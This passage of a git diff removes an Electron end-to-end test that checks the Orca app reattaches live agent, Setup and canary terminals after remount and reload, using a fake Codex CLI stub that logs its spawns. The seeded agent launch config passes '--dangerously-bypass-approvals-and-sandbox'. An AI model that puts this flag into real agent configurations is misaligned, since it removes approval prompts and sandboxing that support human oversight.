waitForActivePanePtyId, waitForActiveTerminalManager } from './helpers/terminal' -import { readFreshTerminalInventory } from './helpers/terminal-inventory-observation' -import { - type TerminalIdentity, - terminalIdentity, - liveTerminalIdentity, - runtimeTerminalPaneKeys -} from './helpers/terminal-pane-identity' -import { - clearTerminalPtyWriteLog, - installTerminalPtyWriteSpy, - readTerminalPtyWriteEntries -} from './helpers/terminal-pty-write-spy' -import { RuntimeClient } from '../../src/cli/runtime/client' -import type { RuntimeStatus } from '../../src/shared/remote-runtime/session-graph/runtime-session-contracts' -import type { RuntimeTerminalCreate } from '../../src/shared/terminal/runtime/runtime-terminal-create-contract' -import type { - RuntimeTerminalListResult, - RuntimeTerminalRead, - RuntimeTerminalSummary -} from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import type { RuntimeWorktreeCreateResult } from '../../src/shared/worktree/catalog/runtime-worktree-contracts' -import { PROTOCOL_VERSION } from '../../src/main/daemon/protocol/daemon-protocol-version' -import { makePaneKey } from '../../src/shared/workspace-layout/stable-pane-id' -import { getDefaultRepoHookSettings } from '../../src/shared/constants' -import { - buildFakeAgentCommandOverride, - FAKE_AGENT_WINDOWS_SHELL -} from './helpers/fake-agent-command-override' -import { FAKE_CODEX_LAUNCH_PROBES_SOURCE } from './helpers/fake-codex-launch-probes' -import { LAYOUT_OWNER_BUILD } from './helpers/layout-owner-build' - -type SpawnEvent = { args: string[]; pid: number } - -const PROVIDER_SESSION_ID = '019fc155-00e1-7102-99a9-e7c72e532a8e' - -const fakeCliDir = mkdtempSync(path.join(os.tmpdir(), 'orca-live-mount-cli-')) -const spawnLedgerPath = path.join(fakeCliDir, 'codex-spawn.jsonl') -const setupLedgerPath = path.join(fakeCliDir, 'setup-spawn.jsonl') -const canaryLedgerPath = path.join(fakeCliDir, 'canary-spawn.jsonl') -const signalLedgerPath = path.join(fakeCliDir, 'terminal-signals.jsonl') -const fakeCodexSource = ` -const { appendFileSync } = require('node:fs') -const args = process.argv.slice(2) -${FAKE_CODEX_LAUNCH_PROBES_SOURCE} -appendFileSync(process.env.ORCA_E2E_CODEX_SPAWN_LEDGER, JSON.stringify({ args, pid: process.pid }) + '\\n') -process.stdout.write('LIVE_AGENT_READY:' + process.pid + '\\n') -let inputBuffer = '' -process.stdin.on('data', (chunk) => { - inputBuffer += chunk.toString() - const lines = inputBuffer.split(/[\\r\\n]+/) - inputBuffer = lines.pop() || '' - for (const line of lines) if (line) process.stdout.write('AGENT_INPUT:' + process.pid + ':' + line + '\\n') -}) -for (const signal of ['SIGINT', 'SIGHUP', 'SIGTERM']) process.on(signal, () => appendFileSync(process.env.ORCA_E2E_SIGNAL_LEDGER, JSON.stringify({ kind: 'agent', pid: process.pid, signal }) + '\\n')) -process.stdin.resume() -setInterval(() => {}, 60_000) -` - -if (process.platform === 'win32') { - writeFileSync(path.join(fakeCliDir, 'fake-codex.js'), fakeCodexSource) - writeFileSync( - path.join(fakeCliDir, 'codex.cmd'), - '@echo off\r\nnode "%~dp0\\fake-codex.js" %*\r\n' - ) -} else { - const executable = path.join(fakeCliDir, 'codex') - writeFileSync(executable, `#!/usr/bin/env node\n${fakeCodexSource}`) - chmodSync(executable, 0o755) -} - -const fakeCodexCommand = buildFakeAgentCommandOverride( - path.join(fakeCliDir, process.platform === 'win32' ? 'codex.cmd' : 'codex') -) - -const test = base.extend({ - launchEnv: { - PATH: `${fakeCliDir}${path.delimiter}${process.env.PATH ?? ''}`, - ORCA_E2E_CODEX_SPAWN_LEDGER: spawnLedgerPath, - ORCA_E2E_SETUP_LEDGER: setupLedgerPath, - ORCA_E2E_CANARY_LEDGER: canaryLedgerPath, - ORCA_E2E_SIGNAL_LEDGER: signalLedgerPath - } -}) - -function readSpawnLedger(): SpawnEvent[] { - if (!existsSync(spawnLedgerPath)) { - return [] - } - return readFileSync(spawnLedgerPath, 'utf8') - .split(/\r?\n/) - .filter(Boolean) - .map((line) => JSON.parse(line) as SpawnEvent) -} - -function readJsonLines(filePath: string): T[] { - if (!existsSync(filePath)) { - return [] - } - return readFileSync(filePath, 'utf8') - .split(/\r?\n/) - .filter(Boolean) - .map((line) => JSON.parse(line) as T) -} - -function createSourceRepo(): string { - const repoPath = mkdtempSync(path.join(os.tmpdir(), 'orca-live-mount-repo-')) - writeFileSync( - path.join(repoPath, 'setup-live.js'), - `const { appendFileSync } = require('node:fs')\nappendFileSync(process.env.ORCA_E2E_SETUP_LEDGER, JSON.stringify({ pid: process.pid }) + '\\n')\nconsole.log('SETUP_READY:' + process.pid)\nlet inputBuffer = ''\nprocess.stdin.on('data', chunk => {\n inputBuffer += chunk.toString()\n const lines = inputBuffer.split(/[\\r\\n]+/)\n inputBuffer = lines.pop() || ''\n for (const line of lines) if (line) console.log('SETUP_INPUT:' + process.pid + ':' + line)\n})\nfor (const signal of ['SIGINT', 'SIGHUP', 'SIGTERM']) process.on(signal, () => appendFileSync(process.env.ORCA_E2E_SIGNAL_LEDGER, JSON.stringify({ kind: 'setup', pid: process.pid, signal }) + '\\n'))\nprocess.stdin.resume()\nsetInterval(() => {}, 60000)\n` - ) - writeFileSync( - path.join(repoPath, 'canary-live.js'), - `const { appendFileSync } = require('node:fs')\nappendFileSync(process.env.ORCA_E2E_CANARY_LEDGER, JSON.stringify({ pid: process.pid }) + '\\n')\nconsole.log('CANARY_READY:' + process.pid)\nlet inputBuffer = ''\nprocess.stdin.on('data', chunk => {\n inputBuffer += chunk.toString()\n const lines = inputBuffer.split(/[\\r\\n]+/)\n inputBuffer = lines.pop() || ''\n for (const line of lines) if (line) console.log('CANARY_INPUT:' + process.pid + ':' + line)\n})\nfor (const signal of ['SIGINT', 'SIGHUP', 'SIGTERM']) process.on(signal, () => appendFileSync(process.env.ORCA_E2E_SIGNAL_LEDGER, JSON.stringify({ kind: 'canary', pid: process.pid, signal }) + '\\n'))\nprocess.stdin.resume()\nsetInterval(() => {}, 60000)\n` - ) - writeFileSync(path.join(repoPath, 'orca.yaml'), 'scripts:\n setup: node setup-live.js\n') - execFileSync('git', ['init'], { cwd: repoPath }) - execFileSync('git', ['checkout', '-b', 'main'], { cwd: repoPath }) - execFileSync('git', ['add', '.'], { cwd: repoPath }) - execFileSync( - 'git', - ['-c', 'user.name=Orca E2E', '-c', 'user.email=orca-e2e@example.com', 'commit', '-m', 'seed'], - { cwd: repoPath } - ) - return repoPath -} - -// Undefined while first-mount adoption has the host refusing to answer; every caller polls past it. -async function readWorktreeTerminals(client: RuntimeClient, worktreeId: string) { - const params = { worktree: `id:${worktreeId}`, limit: 20, requireFreshPtyLiveness: true } - const listed = await readFreshTerminalInventory( - async () => (await client.call('terminal.list', params)).result - ) - return listed?.terminals - .filter((terminal) => terminal.worktreeId === worktreeId) - .sort((a, b) => a.handle.localeCompare(b.handle)) -} - -async function terminalOutput(client: RuntimeClient, handle: string): Promise { - const read = await client.call<{ terminal: RuntimeTerminalRead }>('terminal.read', { - terminal: handle, - limit: 300 - }) - return read.result.terminal.tail.join('\n') -} - -function readDaemonPid(userDataDir: string): number { - const raw = readFileSync( - path.join(userDataDir, 'daemon', `daemon-v${PROTOCOL_VERSION}.pid`), - 'utf8' - ) - const parsed = JSON.parse(raw) as { pid?: unknown } - if (typeof parsed.pid !== 'number' || parsed.pid <= 0) { - throw new Error(`Daemon pid file did not contain a positive pid: ${raw}`) - } - return parsed.pid -} - -async function seedAgentRecoveryMetadata( - page: Page, - worktreeId: string, - agent: TerminalIdentity -): Promise { - const paneKey = makePaneKey(agent.tabId, agent.leafId) - const launchToken = `live-mount-${randomUUID()}` - await page.evaluate( - ({ agent, launchToken, paneKey, providerSessionId, worktreeId }) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Renderer store unavailable') - } - const providerSession = { key: 'session_id' as const, id: providerSessionId } - state.registerAgentLaunchConfig( - paneKey, - { - agentCommand: 'codex', - agentArgs: '--dangerously-bypass-approvals-and-sandbox', - agentEnv: {} - }, - { - agentType: 'codex', - launchToken, - tabId: agent.tabId, - leafId: agent.leafId, - terminalHandle: agent.handle, - providerSession - } - ) - state.setAgentStatus( - paneKey, - { state: 'working', prompt: 'keep running', agentType: 'codex' }, - 'Codex', - undefined, - { tabId: agent.tabId, worktreeId, terminalHandle: agent.handle }, - { providerSession, launchToken } - ) - }, - { agent, launchToken, paneKey, providerSessionId: PROVIDER_SESSION_ID, worktreeId } - ) - await expect - .poll(() => - page.evaluate( - ({ paneKey, providerSessionId, worktreeId }) => { - const state = window.__store?.getState() - const live = state?.agentStatusByPaneKey.get(paneKey) - const sleeping = state?.sleepingAgentSessionsByPaneKey[paneKey] - return { - liveProviderSessionId: live?.providerSession?.id ?? null, - sleeping: sleeping - ? { - paneKey: sleeping.paneKey, - tabId: sleeping.tabId, - worktreeId: sleeping.worktreeId, - origin: sleeping.origin, - providerSessionId: sleeping.providerSession.id, - agentCommand: sleeping.launchConfig?.agentCommand ?? null - } - : null, - expected: { paneKey, providerSessionId, worktreeId } - } - }, - { paneKey, providerSessionId: PROVIDER_SESSION_ID, worktreeId } - ) - ) - .toEqual({ - liveProviderSessionId: PROVIDER_SESSION_ID, - sleeping: { - paneKey, - tabId: agent.tabId, - worktreeId, - origin: 'live', - providerSessionId: PROVIDER_SESSION_ID, - agentCommand: 'codex' - }, - expected: { paneKey, providerSessionId: PROVIDER_SESSION_ID, worktreeId } - }) -} - -async function readRendererBindings(page: Page, identities: TerminalIdentity[]) { - return page.evaluate((targets) => { - const state = window.__store?.getState() - return targets.map(({ leafId, tabId }) => ({ - tabId, - tabPtyId: - Object.values(state?.tabsByWorktree ?? {}) - .flat() - .find((tab) => tab.id === tabId)?.ptyId ?? null, - ptyIds: state?.ptyIdsByTabId[tabId] ?? [], - leafBindings: Object.entries(state?.terminalLayoutsByTabId[tabId]?.ptyIdsByLeafId ?? {}).sort( - ([left], [right]) => left.localeCompare(right) - ), - leafId - })) - }, identities) -} - -async function readPersistedBindings( - page: Page, - worktreeId: string, - identities: TerminalIdentity[] -) { - return page.evaluate( - async ({ identities, worktreeId }) => { - const session = await window.api.session.get() - return identities.map(({ leafId, tabId }) => ({ - tabId, - tabPtyId: - session.tabsByWorktree[worktreeId]?.find((tab) => tab.id === tabId)?.ptyId ?? null, - leafBindings: Object.entries( - session.terminalLayoutsByTabId[tabId]?.ptyIdsByLeafId ?? {} - ).sort(([left], [right]) => left.localeCompare(right)), - leafId - })) - }, - { identities, worktreeId } - ) -} - -function expectedBindings(identities: TerminalIdentity[], includeLiveIds: boolean) { - return identities.map(({ leafId, ptyId, tabId }) => ({ - tabId, - tabPtyId: ptyId, - ...(includeLiveIds ? { ptyIds: [ptyId] } : {}), - leafBindings: [[leafId, ptyId]], - leafId - })) -} - -async function assertTargetBindings( - page: Page, - worktreeId: string, - identities: TerminalIdentity[] -): Promise { - await expect - .poll(() => readRendererBindings(page, identities), { timeout: 15_000 }) - .toEqual(expectedBindings(identities, true)) - await expect - .poll(() => readPersistedBindings(page, worktreeId, identities), { timeout: 15_000 }) - .toEqual(expectedBindings(identities, false)) -} - -async function assertLiveInventory( - client: RuntimeClient, - worktreeId: string, - originals: RuntimeTerminalSummary[] -): Promise { - await expect - .poll( - async () => (await readWorktreeTerminals(client, worktreeId))?.map(liveTerminalIdentity), - { - timeout: 15_000 - } - ) - .toEqual(originals.map(liveTerminalIdentity)) -} - -async function assertLaunchLedgersUnchanged(): Promise { - await expect - .poll( - () => ({ - agent: readSpawnLedger().length, - setup: readJsonLines<{ pid: number }>(setupLedgerPath).length, - canary: readJsonLines<{ pid: number }>(canaryLedgerPath).length - }), - { timeout: 10_000 } - ) - .toEqual({ agent: 1, setup: 1, canary: 1 }) - const agentLaunches = readSpawnLedger() - expect(agentLaunches.filter(({ args }) => args.includes('resume'))).toHaveLength(0) - expect(agentLaunches.filter(({ args }) => args.includes(PROVIDER_SESSION_ID))).toHaveLength(0) -} - -async function assertNoInterruption( - client: RuntimeClient, - terminals: RuntimeTerminalSummary[] -): Promise { - const outputs = await Promise.all( - terminals.map((terminal) => terminalOutput(client, terminal.handle)) - ) - expect(outputs.join('\n')).not.toContain('Conversation interrupted') -} - -async function faultProjectionAndActivate( - page: Page, - worktreeId: string, - terminals: RuntimeTerminalSummary[], - activeTabId: string -): Promise { - await expect - .poll(() => - page.evaluate( - ({ tabIds, worktreeId }) => { - const state = window.__store?.getState() - const tabs = state?.tabsByWorktree[worktreeId] ?? [] - return tabIds.every( - (tabId) => - tabs.some((tab) => tab.id === tabId) && - Boolean(state?.terminalLayoutsByTabId[tabId]?.root) && - !window.__paneManagers?.has(tabId) - ) - }, - { tabIds: terminals.map((terminal) => terminal.tabId), worktreeId } - ) - ) - .toBe(true) - - await page.evaluate( - ({ activeTabId, identities, worktreeId }) => { - const store = window.__store - if (!store) { - throw new Error('Renderer store unavailable') - } - store.setState((state) => { - const tabsByWorktree = { ...state.tabsByWorktree } - tabsByWorktree[worktreeId] = (tabsByWorktree[worktreeId] ?? []).map((tab) => - identities.some((identity) => identity.tabId === tab.id) ? { ...tab, ptyId: null } : tab - ) - const ptyIdsByTabId = { ...state.ptyIdsByTabId } - const terminalLayoutsByTabId = { ...state.terminalLayoutsByTabId } - for (const identity of identities) { - ptyIdsByTabId[identity.tabId] = [] - const layout = terminalLayoutsByTabId[identity.tabId] - if (layout) { - const ptyIdsByLeafId = { ...layout.ptyIdsByLeafId } - delete ptyIdsByLeafId[identity.leafId] - terminalLayoutsByTabId[identity.tabId] = { - ...layout, - ptyIdsByLeafId - } - } - } - return { tabsByWorktree, ptyIdsByTabId, terminalLayoutsByTabId } - }) - const next = store.getState() - next.setActiveRepo( - next.repos.find((repo) => repo.id === worktreeId.split('::')[0])?.id ?? null - ) - next.setActiveTabForWorktree(worktreeId, activeTabId) - next.setActiveView('terminal') - next.setActiveWorktree(worktreeId) - }, - { - activeTabId, - // Why none with the switch on: main's frames own the bindings, and no window write drops one. - identities: LAYOUT_OWNER_BUILD ? [] : terminals, - worktreeId - } - ) - await ensureTerminalVisible(page) - await waitForActiveTerminalManager(page, 30_000) -} - -async function activateTerminal(page: Page, worktreeId: string, tabId: string): Promise { - await page.evaluate( - ({ tabId, worktreeId }) => { - const state = window.__store?.getState() - state?.setActiveRepo( - state.repos.find((repo) => repo.id === worktreeId.split('::')[0])?.id ?? null - ) - state?.setActiveTabForWorktree(worktreeId, tabId) - state?.setActiveView('terminal') - state?.setActiveWorktree(worktreeId) - }, - { tabId, worktreeId } - ) - await ensureTerminalVisible(page) - await waitForActiveTerminalManager(page, 30_000) - await page.locator(`[data-testid="sortable-tab"][data-tab-id="${tabId}"]`).click({ force: true }) -} - -async function enableTerminalAccessibility(page: Page, tabId: string): Promise { - await page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] - if (!pane) { - throw new Error(`Terminal pane unavailable: ${id}`) - } - pane.terminal.options.screenReaderMode = true - pane.terminal.refresh(0, pane.terminal.rows - 1) - }, tabId) - await expect( - page.locator(`[data-terminal-tab-id=${JSON.stringify(tabId)}] .xterm-accessibility-tree`) - ).toBeAttached({ timeout: 10_000 }) -} - -function terminalAccessibility(page: Page, tabId: string) { - return page.locator(`[data-terminal-tab-id=${JSON.stringify(tabId)}] .xterm-accessibility-tree`) -} - -async function terminalViewportText(page: Page, tabId: string): Promise { - return page.evaluate((id) => { - const pane = window.__paneManagers?.get(id)?.getActivePane?.() - if (!pane) { - throw new Error(`Terminal pane unavailable: ${id}`) - } - const buffer = pane.terminal.buffer.active - return Array.from( - { length: pane.terminal.rows }, - (_, row) => buffer.getLine(buffer.viewportY + row)?.translateToString(true) ?? '' - ).join('\n') - }, tabId) -} - -async function typeIntoTerminal(page: Page, tabId: string, marker: string): Promise { - const terminal = page.locator(`[data-terminal-tab-id=${JSON.stringify(tabId)}] .xterm:visible`) - await terminal.click({ force: true }) - await page.keyboard.type(marker, { delay: 20 }) - await page.keyboard.press('Enter') -} - -async function assertExactPtyReceivedMarker( - electronApp: Parameters[0], - ptyId: string, - marker: string -): Promise { - const command = `${marker}\r` - await expect - .poll(async () => { - const entries = await readTerminalPtyWriteEntries(electronApp) - return entries - .filter((entry) => entry.id === ptyId) - .map((entry) => entry.data) - .join('') - }) - .toContain(command) - const unrelatedWrites = (await readTerminalPtyWriteEntries(electronApp)) - .filter((entry) => entry.id !== ptyId) - .map((entry) => entry.data) - .join('') - expect(unrelatedWrites).not.toContain(command) -} - -test.afterEach(() => { - rmSync(spawnLedgerPath, { force: true }) - rmSync(setupLedgerPath, { force: true }) - rmSync(canaryLedgerPath, { force: true }) - rmSync(signalLedgerPath, { force: true }) -}) - -test.afterAll(() => rmSync(fakeCliDir, { recursive: true, force: true })) - -test('adopts runtime-owned agent and Setup PTYs on first mount', async ({ - electronApp, - orcaPage, - registerPostElectronShutdownCleanup -}) => { - const sourceRepo = createSourceRepo() - let createdWorktreePath: string | null = null - registerPostElectronShutdownCleanup(async () => { - if (createdWorktreePath) { - rmSync(createdWorktreePath, { recursive: true, force: true }) - } - rmSync(sourceRepo, { recursive: true, force: true }) - }) - await waitForSessionReady(orcaPage) - await installTerminalPtyWriteSpy(electronApp) - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - const client = new RuntimeClient(userDataDir, 30_000, null, null) - const added = await client.call<{ repo: { id: string } }>('repo.add', { - path: sourceRepo, - kind: 'git' - }) - const repoId = added.result.repo.id - const hookDefaults = getDefaultRepoHookSettings() - await expect - .poll(() => - orcaPage.evaluate( - async ({ repoId, command, windowsShell, hookDefaults }) => { - const state = window.__store?.getState() - await state?.fetchRepos({ runtimeEnvironmentId: null, throwOnError: true }) - const repo = window.__store?.getState().repos.find((candidate) => candidate.id === repoId) - if (!repo) { - return false - } - const hookSettings = repo.hookSettings ?? hookDefaults - await window.__store?.getState().updateRepo(repoId, { - hookSettings: { ...hookSettings, setupAgentStartupPolicy: 'start-immediately' } - }) - await window.__store?.getState().updateSettings({ - agentCmdOverrides: { codex: command }, - terminalWindowsShell: windowsShell, - disabledTuiAgents: [], - terminalHiddenViewParking: false - }) - return true - }, - { repoId, command: fakeCodexCommand, windowsShell: FAKE_AGENT_WINDOWS_SHELL, hookDefaults } - ) - ) - .toBe(true) - - const created = await client.call('worktree.create', { - repo: `id:${repoId}`, - name: `live-mount-${randomUUID()}`, - noParent: true, - activate: false, - setupDecision: 'run', - startupAgent: 'codex', - startupPrompt: 'keep running' - }) - const worktreeId = created.result.worktree.id - createdWorktreePath = created.result.worktree.path - const createdCanary = await client.call<{ terminal: RuntimeTerminalCreate }>('terminal.create', { - worktree: `id:${worktreeId}`, - title: 'Unrelated canary', - command: 'node canary-live.js' - }) - let originals: RuntimeTerminalSummary[] = [] - await expect - .poll(async () => { - originals = (await readWorktreeTerminals(client, worktreeId)) ?? [] - return originals.map(({ connected, writable }) => ({ connected, writable })) - }) - .toEqual([ - { connected: true, writable: true }, - { connected: true, writable: true }, - { connected: true, writable: true } - ]) - expect( - originals.every( - ({ incarnationId, ptyId }) => - typeof incarnationId === 'string' && incarnationId.length > 0 && typeof ptyId === 'string' - ) - ).toBe(true) - expect(new Set(originals.map((terminal) => terminal.ptyId)).size).toBe(3) - expect(new Set(originals.map((terminal) => terminal.incarnationId)).size).toBe(3) - const originalPaneKeys = runtimeTerminalPaneKeys( - originals, - created.result.agentTerminalHandle ?? null, - createdCanary.result.terminal.handle - ) - expect(new Set(originalPaneKeys).size).toBe(3) - const agent = originals.find((terminal) => terminal.handle === created.result.agentTerminalHandle) - const canary = originals.find( - (terminal) => terminal.handle === createdCanary.result.terminal.handle - ) - const setup = originals.find( - (terminal) => terminal.handle !== agent?.handle && terminal.handle !== canary?.handle - ) - expect(agent).toBeTruthy() - expect(setup).toBeTruthy() - expect(canary).toBeTruthy() - if (!agent?.ptyId || !setup?.ptyId || !canary?.ptyId) { - throw new Error('Agent, Setup, and canary terminals must have live PTY identities') - } - await expect.poll(readSpawnLedger).toHaveLength(1) - await expect.poll(() => readJsonLines<{ pid: number }>(setupLedgerPath)).toHaveLength(1) - await expect.poll(() => readJsonLines<{ pid: number }>(canaryLedgerPath)).toHaveLength(1) - const agentPid = readSpawnLedger()[0]!.pid - const setupPid = readJsonLines<{ pid: number }>(setupLedgerPath)[0]!.pid - const canaryPid = readJsonLines<{ pid: number }>(canaryLedgerPath)[0]!.pid - await expect - .poll(() => terminalOutput(client, agent!.handle)) - .toContain(`LIVE_AGENT_READY:${agentPid}`) - await expect - .poll(() => terminalOutput(client, setup!.handle)) - .toContain(`SETUP_READY:${setupPid}`) - await expect - .poll(() => terminalOutput(client, canary!.handle)) - .toContain(`CANARY_READY:${canaryPid}`) - await assertLaunchLedgersUnchanged() - const beforeStatus = await client.call('status.get') - expect(beforeStatus.result.graphStatus).toBe('ready') - const daemonPid = readDaemonPid(userDataDir) - const allIdentities = originals.map(terminalIdentity) - await assertTargetBindings(orcaPage, worktreeId, allIdentities) - await seedAgentRecoveryMetadata(orcaPage, worktreeId, terminalIdentity(agent!)) - - await faultProjectionAndActivate(orcaPage, worktreeId, [agent!, setup!], agent!.tabId) - const mountedAgentPtyId = await waitForActivePanePtyId(orcaPage) - await enableTerminalAccessibility(orcaPage, agent!.tabId) - await expect - .poll( - async () => ({ - mountedPtyId: mountedAgentPtyId, - liveInventory: (await readWorktreeTerminals(client, worktreeId))?.map(liveTerminalIdentity), - visibleOriginalReady: ( - await terminalAccessibility(orcaPage, agent!.tabId).innerText() - ).includes(`LIVE_AGENT_READY:${agentPid}`), - processPids: { - agent: readSpawnLedger().map(({ pid }) => pid), - setup: readJsonLines<{ pid: number }>(setupLedgerPath).map(({ pid }) => pid), - canary: readJsonLines<{ pid: number }>(canaryLedgerPath).map(({ pid }) => pid) - } - }), - { timeout: 10_000 } - ) - .toEqual({ - mountedPtyId: agent!.ptyId, - liveInventory: originals.map(liveTerminalIdentity), - visibleOriginalReady: true, - processPids: { agent: [agentPid], setup: [setupPid], canary: [canaryPid] } - }) - const agentMarker = `AGENT_KB_${randomUUID().slice(0, 8)}` - await clearTerminalPtyWriteLog(electronApp) - await typeIntoTerminal(orcaPage, agent!.tabId, agentMarker) - await assertExactPtyReceivedMarker(electronApp, agent!.ptyId, agentMarker) - await expect(terminalAccessibility(orcaPage, agent!.tabId)).toContainText( - `AGENT_INPUT:${agentPid}:${agentMarker}` - ) - await expect(terminalAccessibility(orcaPage, agent!.tabId)).not.toContainText( - 'Conversation interrupted' - ) - - await activateTerminal(orcaPage, worktreeId, setup!.tabId) - const mountedSetupPtyId = await waitForActivePanePtyId(orcaPage) - await enableTerminalAccessibility(orcaPage, setup!.tabId) - expect(mountedSetupPtyId).toBe(setup!.ptyId) - await expect(terminalAccessibility(orcaPage, setup!.tabId)).toContainText( - `SETUP_READY:${setupPid}` - ) - const setupMarker = `SETUP_KB_${randomUUID().slice(0, 8)}` - await clearTerminalPtyWriteLog(electronApp) - await typeIntoTerminal(orcaPage, setup!.tabId, setupMarker) - await assertExactPtyReceivedMarker(electronApp, setup!.ptyId, setupMarker) - await expect(terminalAccessibility(orcaPage, setup!.tabId)).toContainText( - `SETUP_INPUT:${setupPid}:${setupMarker}` - ) - await expect(terminalAccessibility(orcaPage, setup!.tabId)).not.toContainText( - 'Conversation interrupted' - ) - - const canaryMarker = `CANARY_DIRECT_${randomUUID()}` - await client.call('terminal.send', { - terminal: canary!.handle, - text: canaryMarker, - enter: true - }) - await expect - .poll(() => terminalOutput(client, canary!.handle)) - .toContain(`CANARY_INPUT:${canaryPid}:${canaryMarker}`) - - await assertLiveInventory(client, worktreeId, originals) - await assertTargetBindings(orcaPage, worktreeId, allIdentities) - await assertLaunchLedgersUnchanged() - await assertNoInterruption(client, [agent!, setup!]) - expect(readJsonLines(signalLedgerPath)).toHaveLength(0) - const afterMountStatus = await client.call('status.get') - expect(afterMountStatus.result).toMatchObject({ - runtimeId: beforeStatus.result.runtimeId, - rendererGraphEpoch: beforeStatus.result.rendererGraphEpoch, - graphStatus: 'ready', - authoritativeWindowId: beforeStatus.result.authoritativeWindowId - }) - expect(readDaemonPid(userDataDir)).toBe(daemonPid) - const beforeReloadDelivery = await orcaPage.evaluate(() => - window.api.pty.getRendererDeliveryDebugSnapshot() - ) - - await orcaPage.reload() - await waitForSessionReady(orcaPage) - await expect - .poll( - async () => { - const status = (await client.call('status.get')).result - return { - runtimeId: status.runtimeId, - rendererGraphEpoch: status.rendererGraphEpoch, - graphStatus: status.graphStatus, - authoritativeWindowId: status.authoritativeWindowId, - daemonPid: readDaemonPid(userDataDir) - } - }, - { timeout: 15_000 } - ) - .toEqual({ - runtimeId: beforeStatus.result.runtimeId, - rendererGraphEpoch: afterMountStatus.result.rendererGraphEpoch + 1, - graphStatus: 'ready', - authoritativeWindowId: beforeStatus.result.authoritativeWindowId, - daemonPid - }) - const postReloadDelivery = { - rendererLifecycleResetCount: beforeReloadDelivery.rendererLifecycleResetCount + 1, - rendererPtyDispatcherReady: true, - rendererDispatcherReadyForcedCount: beforeReloadDelivery.rendererDispatcherReadyForcedCount - } - await expect - .poll(() => orcaPage.evaluate(() => window.api.pty.getRendererDeliveryDebugSnapshot())) - .toMatchObject(postReloadDelivery) - await activateTerminal(orcaPage, worktreeId, agent!.tabId) - const remountedAgentPtyId = await waitForActivePanePtyId(orcaPage) - expect(remountedAgentPtyId).toBe(agent!.ptyId) - await enableTerminalAccessibility(orcaPage, agent!.tabId) - await expect - .poll(() => orcaPage.evaluate(() => window.api.pty.getRendererDeliveryDebugSnapshot())) - .toMatchObject(postReloadDelivery) - const remountAgentLiveMarker = `AGENT_LIVE_${randomUUID()}` - await client.call('terminal.send', { - terminal: agent!.handle, - text: remountAgentLiveMarker, - enter: true - }) - const remountAgentLiveOutput = `AGENT_INPUT:${agentPid}:${remountAgentLiveMarker}` - await expect.poll(() => terminalOutput(client, agent!.handle)).toContain(remountAgentLiveOutput) - await expect - .poll(() => terminalViewportText(orcaPage, agent!.tabId)) - .toContain(remountAgentLiveOutput) - expect( - await orcaPage.evaluate(() => window.api.pty.getRendererDeliveryDebugSnapshot()) - ).toMatchObject(postReloadDelivery) - const remountAgentAcceptedMarker = `AGENT_ACCEPTED_${randomUUID()}` - expect( - await orcaPage.evaluate( - ({ marker, ptyId }) => window.api.pty.writeAccepted(ptyId, `${marker}\r`, 'driving'), - { marker: remountAgentAcceptedMarker, ptyId: agent!.ptyId } - ) - ).toBe(true) - const remountAgentAcceptedOutput = `AGENT_INPUT:${agentPid}:${remountAgentAcceptedMarker}` - await expect - .poll(() => terminalOutput(client, agent!.handle)) - .toContain(remountAgentAcceptedOutput) - await expect - .poll(() => terminalViewportText(orcaPage, agent!.tabId)) - .toContain(remountAgentAcceptedOutput) - const remountAgentMarker = `AGENT_REMOUNT_${randomUUID().slice(0, 8)}` - await clearTerminalPtyWriteLog(electronApp) - await typeIntoTerminal(orcaPage, agent!.tabId, remountAgentMarker) - await assertExactPtyReceivedMarker(electronApp, agent!.ptyId, remountAgentMarker) - const remountAgentOutput = `AGENT_INPUT:${agentPid}:${remountAgentMarker}` - await expect.poll(() => terminalOutput(client, agent!.handle)).toContain(remountAgentOutput) - await expect - .poll(() => terminalViewportText(orcaPage, agent!.tabId)) - .toContain(remountAgentOutput) - await activateTerminal(orcaPage, worktreeId, setup!.tabId) - const remountedSetupPtyId = await waitForActivePanePtyId(orcaPage) - expect(remountedSetupPtyId).toBe(setup!.ptyId) - await enableTerminalAccessibility(orcaPage, setup!.tabId) - const remountSetupLiveMarker = `SETUP_LIVE_${randomUUID()}` - await client.call('terminal.send', { - terminal: setup!.handle, - text: remountSetupLiveMarker, - enter: true - }) - const remountSetupLiveOutput = `SETUP_INPUT:${setupPid}:${remountSetupLiveMarker}` - await expect.poll(() => terminalOutput(client, setup!.handle)).toContain(remountSetupLiveOutput) - await expect - .poll(() => terminalViewportText(orcaPage, setup!.tabId)) - .toContain(remountSetupLiveOutput) - expect( - await orcaPage.evaluate(() => window.api.pty.getRendererDeliveryDebugSnapshot()) - ).toMatchObject(postReloadDelivery) - const remountSetupMarker = `SETUP_REMOUNT_${randomUUID().slice(0, 8)}` - await clearTerminalPtyWriteLog(electronApp) - await typeIntoTerminal(orcaPage, setup!.tabId, remountSetupMarker) - await assertExactPtyReceivedMarker(electronApp, setup!.ptyId, remountSetupMarker) - const remountSetupOutput = `SETUP_INPUT:${setupPid}:${remountSetupMarker}` - await expect.poll(() => terminalOutput(client, setup!.handle)).toContain(remountSetupOutput) - await expect - .poll(() => terminalViewportText(orcaPage, setup!.tabId)) - .toContain(remountSetupOutput) - - const remountCanaryMarker = `CANARY_REMOUNT_${randomUUID()}` - await client.call('terminal.send', { - terminal: canary!.handle, - text: remountCanaryMarker, - enter: true - }) - await expect - .poll(() => terminalOutput(client, canary!.handle)) - .toContain(`CANARY_INPUT:${canaryPid}:${remountCanaryMarker}`) - await assertLiveInventory(client, worktreeId, originals) - await assertTargetBindings(orcaPage, worktreeId, allIdentities) - await assertLaunchLedgersUnchanged() - await assertNoInterruption(client, [agent!, setup!]) - expect(readJsonLines(signalLedgerPath)).toHaveLength(0) -}) diff --git a/tests/e2e/native-chat-ask-user-question-card.spec.ts b/tests/e2e/native-chat-ask-user-question-card.spec.ts index 465a02e4d55..5329dea9e41 100644 --- a/tests/e2e/native-chat-ask-user-question-card.spec.ts +++ b/tests/e2e/native-chat-ask-user-question-card.spec.ts @@ -12,7 +12,7 @@ import { waitForPaneIdentitySnapshot } from './helpers/terminal' import { waitForPtyShellEcho } from './terminal-pty-readiness' -import type { GlobalSettings } from '../../src/shared/global-settings-types' +import type { GlobalSettings } from '../../src/shared/settings/global-settings-types' const QUESTION = 'Tabs or spaces?' diff --git 